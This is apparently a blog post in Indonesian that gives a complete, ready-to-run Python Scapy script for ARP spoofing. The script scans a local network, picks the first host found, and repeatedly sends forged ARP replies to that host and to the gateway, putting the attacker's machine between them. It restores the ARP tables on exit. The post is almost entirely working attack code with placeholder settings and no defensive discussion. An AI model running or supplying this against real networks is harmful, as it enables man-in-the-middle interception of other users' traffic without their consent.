Template Python Scapy ARP Spoofing Full vx-1




from scapy.all import ARP, Ether, srp, send
import time

# =============================
# 1️⃣ CONFIG
# =============================

# Ganti dengan IP range LAN
target_ip_range = "192.168.1.0/24"

# Ganti dengan IP gateway
gateway_ip = "192.168.1.1"

# Interface (optional, auto default)
interface = "eth0"

# =============================
# 2️⃣ FUNGSI: Scan LAN
# =============================

def scan(ip_range):
    print(f"[+] Scanning jaringan: {ip_range}")
    arp = ARP(pdst=ip_range)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp

    result = srp(packet, timeout=3, verbose=0)[0]

    clients = []
    for sent, received in result:
        clients.append({'ip': received.psrc, 'mac': received.hwsrc})

    print(f"[+] Ditemukan {len(clients)} perangkat aktif:")
    for idx, client in enumerate(clients):
        print(f"   [{idx}] IP: {client['ip']}, MAC: {client['mac']}")
    return clients

# =============================
# 3️⃣ FUNGSI: Spoof ARP
# =============================

def spoof(target_ip, spoof_ip, target_mac):
    # Kirim ARP palsu: Beritahu target bahwa IP spoof_ip ada di penyerang
    packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip, hwdst=target_mac)
    send(packet, verbose=0)

# =============================
# 4️⃣ FUNGSI: Restore ARP
# =============================

def restore(destination_ip, source_ip, destination_mac, source_mac):
    # Perbaiki tabel ARP target
    packet = ARP(op=2, pdst=destination_ip, psrc=source_ip,
                 hwdst=destination_mac, hwsrc=source_mac)
    send(packet, count=4, verbose=0)

# =============================
# 5️⃣ MAIN
# =============================

if __name__ == "__main__":
    import sys
    import os

    # Pastikan root/admin
    if os.name != "nt" and os.geteuid() != 0:
        sys.exit("[!] Harus dijalankan sebagai root!")

    clients = scan(target_ip_range)

    # Contoh: pilih target pertama
    if not clients:
        sys.exit("[!] Tidak ada perangkat ditemukan.")
    target = clients[0]  # Ganti index kalau mau

    target_ip = target['ip']
    target_mac = target['mac']

    print(f"[+] Target: {target_ip} ({target_mac})")

    # Dapatkan MAC Gateway
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gateway_ip), timeout=2, verbose=0)
    gateway_mac = ans[0][1].hwsrc

    print(f"[+] Gateway: {gateway_ip} ({gateway_mac})")

    try:
        print("[+] Menjalankan ARP spoofing... Tekan CTRL+C untuk berhenti.")
        while True:
            spoof(target_ip, gateway_ip, target_mac)
            spoof(gateway_ip, target_ip, gateway_mac)
            time.sleep(2)

    except KeyboardInterrupt:
        print("\n[!] Menghentikan spoofing. Memulihkan ARP tabel...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac)
        restore(gateway_ip, target_ip, gateway_mac, target_mac)
        print("[+] Selesai!")


Comments

Popular posts from this blog

Contoh Pindah Lokasi di CMD, Folder & Drive C D E

Langkah Cek Instalasi Python

Perbedaan antara Nmap dan python-nmap